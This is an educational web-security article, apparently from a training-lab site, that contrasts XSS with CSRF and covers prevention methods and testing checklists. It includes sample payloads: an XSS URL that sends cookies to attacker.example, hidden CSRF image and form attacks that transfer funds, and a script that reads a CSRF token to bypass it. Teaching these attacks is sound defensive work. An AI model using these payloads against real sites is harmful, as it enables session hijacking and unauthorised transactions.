XSS and CSRF are both client-side web vulnerabilities, but they work in completely different ways. XSS (Cross-Site Scripting) lets attackers execute malicious scripts in a victim's browser, while CSRF (Cross-Site Request Forgery) tricks users into performing unwanted actions on sites where they're authenticated.
Understanding the difference between XSS vs CSRF is essential whether you're a pentester looking for vulnerabilities or a developer trying to prevent them. This guide breaks down how each attack works, shows practical examples, and covers the specific defenses you need for both.
โก TL;DR - The Key Difference
XSS = Attacker's code runs on the vulnerable site โ Can steal anything
CSRF = Attacker's code runs from their own site โ Can only trigger actions
๐ Quick Comparison: XSS vs CSRF
Before diving into details, here's a side-by-side comparison of XSS and CSRF attacks:
| Aspect | ๐ด XSS | ๐ CSRF |
|---|---|---|
| Attack target | User's browser | User's authenticated session |
| Requires | Vulnerable input field | Active session on target site |
| Executes | Malicious JavaScript | Unwanted HTTP request |
| Attacker goal | Steal data, hijack session | Perform action as victim |
| Can read responses? | โ Yes | โ No |
| Main defense | Output encoding, CSP | CSRF tokens, SameSite cookies |
๐ง Easy way to remember: XSS is putting words in someone's mouth (injecting your script into their trusted website), while CSRF is forging someone's signature (making requests that look like they came from the legitimate user).
๐ด What is XSS (Cross-Site Scripting)?
Cross-Site Scripting occurs when an attacker injects malicious JavaScript into a trusted website. When a victim visits the page, the script executes in their browser with full access to the page's context, including cookies, session tokens, and DOM content.
Why it's dangerous: The browser can't distinguish between legitimate scripts and injected ones. If it comes from the trusted domain, it runs with that domain's full privileges.
Three Types of XSS
๐ Reflected XSS
Payload is part of the request (usually URL). Executes immediately when victim clicks the malicious link. Not stored server-side.
Example: Malicious search query in URL
๐พ Stored XSS
Payload is saved in the database (comments, profiles). Executes for every user who views the affected page. Most dangerous type.
Example: Malicious comment on a blog
๐ DOM-based XSS
Payload manipulates client-side JavaScript. The vulnerability is in how the page's JS handles data, not server-side reflection.
Example: URL fragment processed by JavaScript
XSS Attack Example
Consider a search page that displays user input without sanitization:
<!-- Vulnerable PHP code -->
<p>Results for: <?php echo $_GET['q']; ?></p>
An attacker crafts a malicious URL:
https://target-site.example/search?q=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>
๐จ What happens: When a victim clicks this link, the script executes and sends their session cookie to the attacker's server. The attacker can now hijack their session and act as the victim.
๐ก Practice this: Try exploiting XSS vulnerabilities hands-on in the XSS Playground lab, where you can safely practice reflected, stored, and DOM-based injection techniques in realistic scenarios.
๐ What is CSRF (Cross-Site Request Forgery)?
Cross-Site Request Forgery tricks an authenticated user into performing unwanted actions on a site where they're logged in. The attacker leverages the fact that browsers automatically include cookies with every request to a domain, regardless of where the request originates.
Key difference from XSS: CSRF doesn't inject code into the vulnerable site. The malicious code runs on the attacker's site and targets the vulnerable site.
How CSRF Works
- User logs into acme-bank.example Session cookie is set in their browser
- User visits attacker's page While still logged into acme-bank.example in another tab
- Attacker's page sends request to acme-bank.example Hidden form or image tag triggers the request
- Browser includes session cookie automatically This is normal browser behavior for any request to that domain
- Bank processes the transfer Server can't tell the difference between legitimate and forged requests
CSRF Attack Examples
Method 1: Using an image tag (for GET requests):
<!-- On attacker's website -->
<img src="https://acme-bank.example/transfer?to=attacker&amount=1000" style="display:none">
Method 2: Auto-submitting form (for POST requests):
<!-- Hidden form that submits automatically -->
<form action="https://acme-bank.example/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById('csrf').submit();</script>
โ ๏ธ The attack is invisible: When the victim loads this page while logged into their bank, the transfer happens without their knowledge or consent. They see nothing unusual.
๐ Key Differences Explained
Understanding the fundamental differences between XSS and CSRF helps you identify and prevent each vulnerability effectively.
๐ฏ What Gets Exploited
XSS: Trust the website has in the user's browser. Injected scripts run with full privileges.
CSRF: Trust the server has in the user's browser. Any request with valid cookies is accepted.
๐ฐ What Attacker Achieves
XSS: Full control - read data, steal credentials, modify page, perform any action.
CSRF: Limited to actions only - can trigger transfers but can't check balances.
๐ Where Attack Runs
XSS: Malicious script executes on the vulnerable website itself.
CSRF: Malicious code runs on attacker's site, targets the vulnerable site.
๐ค User State Dependency
XSS: Works whether user is logged in or not (auth makes it more valuable).
CSRF: Only works if user has active session. No session = no attack.
โ ๏ธ Can XSS Lead to CSRF?
Yes, and this is why XSS is often considered more dangerous. If an attacker has XSS on a site, they can bypass CSRF protections entirely.
Since XSS code runs within the trusted origin, it can:
- โ Read CSRF tokens directly from the page
- โ Submit forms with valid tokens included
- โ Make authenticated requests that look completely legitimate
Here's how XSS bypasses CSRF protection:
// XSS payload that defeats CSRF tokens
var token = document.querySelector('input[name="csrf_token"]').value;
fetch('/transfer', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'to=attacker&amount=1000&csrf_token=' + token
});
๐ Key insight: If you have XSS, you effectively have CSRF for free. XSS can do everything CSRF can do, plus read data. This is why XSS is typically considered higher severity.
๐ก๏ธ Prevention Methods
XSS and CSRF require different defense strategies. Implementing CSRF tokens won't prevent XSS, and output encoding won't stop CSRF.
๐ด Preventing XSS
- Output encoding - Escape all user input before rendering. Use context-appropriate encoding (HTML entities, JavaScript escaping, URL encoding).
- Content Security Policy (CSP) - Restrict which scripts can execute. Block inline scripts and limit sources to trusted domains.
- HTTPOnly cookies - Prevent JavaScript from accessing session cookies. Limits damage even if XSS occurs.
- Input validation - Whitelist allowed characters where possible. Reject or sanitize dangerous input patterns.
๐ Preventing CSRF
- CSRF tokens - Include unpredictable tokens in forms and verify server-side. Attackers can't guess or access the token.
- SameSite cookies - Set SameSite=Strict or Lax. Prevents cookies from being sent with cross-origin requests.
- Verify Origin/Referer headers - Check that requests originate from your domain. Reject unexpected origins.
- Re-authentication - Require password confirmation for critical operations like fund transfers.
๐ Quick Defense Cheat Sheet:
XSS Defense: Sanitize OUTPUT + CSP + HTTPOnly
CSRF Defense: Tokens + SameSite=Strict + Verify Origin
๐ฅ Real-World Impact
Both vulnerabilities have caused significant damage in production systems:
๐ด Famous XSS Attacks
Samy Worm (MySpace, 2005)
A stored XSS worm that spread to over 1 million users in 20 hours, adding "Samy is my hero" to every infected profile.
British Airways (2018)
Attackers injected scripts that captured 380,000 payment card details as customers entered them.
๐ Famous CSRF Attacks
Netflix (2006)
CSRF vulnerability allowed attackers to change user account details, including shipping addresses.
ING Direct (2008)
Attackers could transfer funds between accounts using forged requests.
These examples demonstrate why both vulnerabilities consistently appear in the OWASP Top 10 and require dedicated security measures.
๐งช Testing for XSS and CSRF
Knowing how to identify these vulnerabilities is as important as understanding them.
XSS Testing Checklist
- Inject
<script>alert(1)</script>in input fields - Check if output is encoded or rendered as HTML
- Test URL parameters, form fields, headers, cookies
- Try filter bypasses: encodings, tag variations, event handlers
CSRF Testing Checklist
- Check if state-changing requests include CSRF tokens
- Try replaying requests from a different origin
- Verify if SameSite cookie attributes are set
- Test if tokens are validated server-side (not just present)
๐ฏ Practice With Dedicated Labs
๐ด XSS Playground
Practice reflected, stored, and DOM-based XSS attacks. Learn filter bypasses and session hijacking techniques in a safe environment.
๐ CSRF Bank Transfer
Exploit session-based request forgery in a realistic banking scenario. Understand how attackers abuse authenticated sessions.
Combine hands-on practice with the Cross-Site Scripting course and CSRF course to understand the theory, tools, and defense strategies behind each technique.
โ Frequently Asked Questions
Is CSRF part of XSS?
No, they're completely separate vulnerabilities with different attack vectors and defenses. However, XSS can be used to bypass CSRF protections since XSS code can read CSRF tokens from the page.
Which is more dangerous: XSS or CSRF?
XSS is generally more dangerous. It gives attackers full control over the user's session, including the ability to read data, not just trigger actions. XSS can also bypass CSRF protections, making it strictly more powerful.
Can CSRF steal data?
No. CSRF can only trigger actions like form submissions or state changes. Due to the same-origin policy, attackers cannot read responses from cross-origin requests. They can transfer money but can't check account balances.
Do CSRF tokens prevent XSS?
No. CSRF tokens only prevent CSRF attacks. XSS requires separate defenses like output encoding, CSP, and input validation. In fact, XSS can read CSRF tokens and bypass that protection entirely.
Can both vulnerabilities exist on the same page?
Yes. A page can be vulnerable to both XSS and CSRF simultaneously. Each vulnerability needs to be addressed with its specific defenses. Having one doesn't preclude or fix the other.
๐ฏ Summary: XSS vs CSRF
Understanding the distinction between XSS and CSRF is fundamental for both offensive security testing and defensive development:
๐ด XSS (Cross-Site Scripting): Injects malicious scripts into trusted sites. Can steal data, hijack sessions, and perform any action. Defend with output encoding and CSP.
๐ CSRF (Cross-Site Request Forgery): Tricks authenticated users into unwanted actions. Limited to triggering requests, can't read responses. Defend with tokens and SameSite cookies.
๐ Key relationship: XSS can bypass CSRF protections, making it the more severe vulnerability when both are present.
Both vulnerabilities require hands-on practice to truly understand. Reading about cookie stealing is one thing; actually crafting payloads and seeing them execute builds real intuition for finding these issues in the wild.
๐ Ready to exploit these vulnerabilities hands-on? Start with the XSS Playground to master script injection, then move to the CSRF Bank Transfer lab to understand forged requests. Deepen your knowledge with the full Web Application Security course covering filter bypasses, defense mechanisms, and real-world exploitation techniques.